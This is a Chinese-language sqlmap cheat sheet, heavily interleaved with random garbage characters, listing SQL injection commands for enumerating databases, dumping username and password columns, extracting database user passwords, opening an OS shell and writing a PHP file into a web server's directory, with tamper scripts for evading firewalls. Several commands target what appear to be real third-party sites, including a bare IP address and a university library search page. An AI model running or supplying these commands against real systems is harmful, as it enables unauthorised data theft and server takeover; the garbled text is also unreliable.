/pentest/database/sqlmap& o; q4 }& [8 @
{, f8 G; t' Q6 n C
update :::::> in the folder after execute following order : svn update1 g. ?0 L0 A2 C* N% \4 j% \
, z9 }0 K" B+ _% ^: V5 m
sqlmap.py -r 1.txt --current-db
0 e9 ^+ V- H9 s0 f+ e5 { I. U) ^
; O* D- Q! Q' v; Vv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
, m1 n: p8 w* F
n [0 Z* K$ C( d, X5 u==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
' e6 ~& B- p: y* s* n8 c猜解数据库# [1 G4 G5 Y5 r0 b6 I' e6 e1 d
./sqlmap.py -u "injection-url" --dbs1 P- L7 W. h# l) x2 J
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
( P9 t7 B* o! S5 q
4 ?( a& j( a$ f( t$ \7 r猜解表名
& }9 S- G0 r1 S% x# T: g: j$ T./sqlmap.py -u "injection-url" -D database_name --tables' [9 `) }0 [, i. h$ m A
& g; I( P$ M' B4 F
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"1 K! b# _' c, p8 T- h* }
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
4 U4 I7 A- {2 h! ^' U. Z
! h4 r0 t" F! k) c. u$ `' ksqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
- t+ ]+ W* r3 F, X
/ O; N6 I5 x) q- g- g9 t% ?sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
2 `6 f, y9 W. ]; d( Q8 W- v$ fsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"6 U: Y% @; U0 c* w M1 B4 y2 i
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
5 c- z, _$ Q- x6 Psqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"0 D5 v, o% y( L9 Z: j
m+ m- d/ E" Q6 q5 `6 a" h& Qsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
! z9 M( ~; U, t! O* s! Jsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py": }5 a9 A( D; h: p$ Y. v
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"/ @) z9 K! ^8 t/ K3 p
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"; L5 V: k1 \3 z* G! c4 c& d
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump# v$ t' P# _' p! Y. x
6 \6 w0 X5 t3 c1 ]( E$ ]) \9 M5 N
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了3 _& g. {5 ^$ s5 b' z8 S
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"( h1 ~7 Z/ p8 _
+ h4 V7 E \1 j p7 y$ n3 M, `
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
1 Z& L2 r5 `( Z) ] B* ~7 `猜解列名* I" x; o$ w! W( `5 \5 I
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
/ Y! S5 r( m( t7 c7 N6 C8 u( Y5 h+ W9 I+ ~
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 0 T& d" i+ u. _5 z5 M$ x. \
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
/ b- e& \8 O* }: F; rsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
$ H+ ~/ ?0 _$ G9 G. y2 ?) c6 {5 k8 ~8 g$ T
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"' A& r2 i( \8 r3 k/ a
&submit=Go4 O" ?) S! E# R: A
猜解值% z _( b4 s8 X+ h2 y) L
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump6 C0 y! x2 J2 h' W m* w, Z
========================================================1 x/ k3 m4 u5 f* E
搜索表名中包括mana字符的; h1 s/ L* S) F1 g1 L
/sqlmap.py -u "injection-url" -T mana --search
/ b, x' L( P* P# p, S' C" p! O( H, E返回一个交互式sql shell
% S& M5 s5 S/ h) `! p/sqlmap.py -u "injection-url" --sql-shell
& y! k# r: H5 m* A- d9 F# ^读取指定文件(需权限)
% t L! O5 s4 ]/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"- ~) p0 ^- j; h, A" q* Q8 E
查看当前 用户 及 数据库
% M/ l' G4 ?; A. e$ M/sqlmap.py -u "injection-url" --current-user --current-db: p& p6 l9 ? K7 D
本地文件 写入 远程目标绝对路径
2 |8 s' L5 S; U3 b/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径9 b+ D" ?/ J/ a; D$ }6 n
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
X& V/ \" w0 {3 c8 l; B$ c
1 J9 q! Y5 \6 q# P0 L2 c5 `sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
+ R+ v" e+ a! b9 x0 H Y: o- j查看某用的权限. y# t! d; }& h; {1 S3 l, `/ Y" P
/sqlmap.py -u "injection-url" --privileges -U root
* |& v) c( a+ c% x8 K查看当前用户是否为dba; Q8 `+ d! O! Q; x7 y$ H* _
/sqlmap.py -u "injection-url" --is-dba2 Y: ~2 a( U4 ^) B+ E, |
读取所有数据库用户或指定数据库用户的密码4 j$ G% r! d C, o: R& ^6 d
sqlmap.py -r 1.txt --users --passwords
) _8 U, D+ S3 m5 ysqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
# G' E4 I% |! w# E+ x, ]2 d( f+ z4 R K) L8 l6 `0 R
/sqlmap.py -u "injection-url" --passwords -U root2 c, K9 Q* h( a5 l
# b0 i( G/ {6 j: f4 P5 ]1 w! P--start&&--stop 与 --first&&--last 的区别
' D* ] d0 ?& {' E/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)) f: ~$ B- v/ [5 e( z4 ~
# ?- ]4 S; Q# a从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
' r8 t& \9 ]9 T/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
0 n& B9 ~9 {' \/ X- D/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns* x( D! `! n! m5 U. V% h8 n; X/ j
, K2 E, @( L! T3 t' X
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
4 Y& y% }- M# p% _! V/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"" W$ E4 A4 ]& o0 w5 s
+ h* |% ~. h8 K5 X9 s* ]
|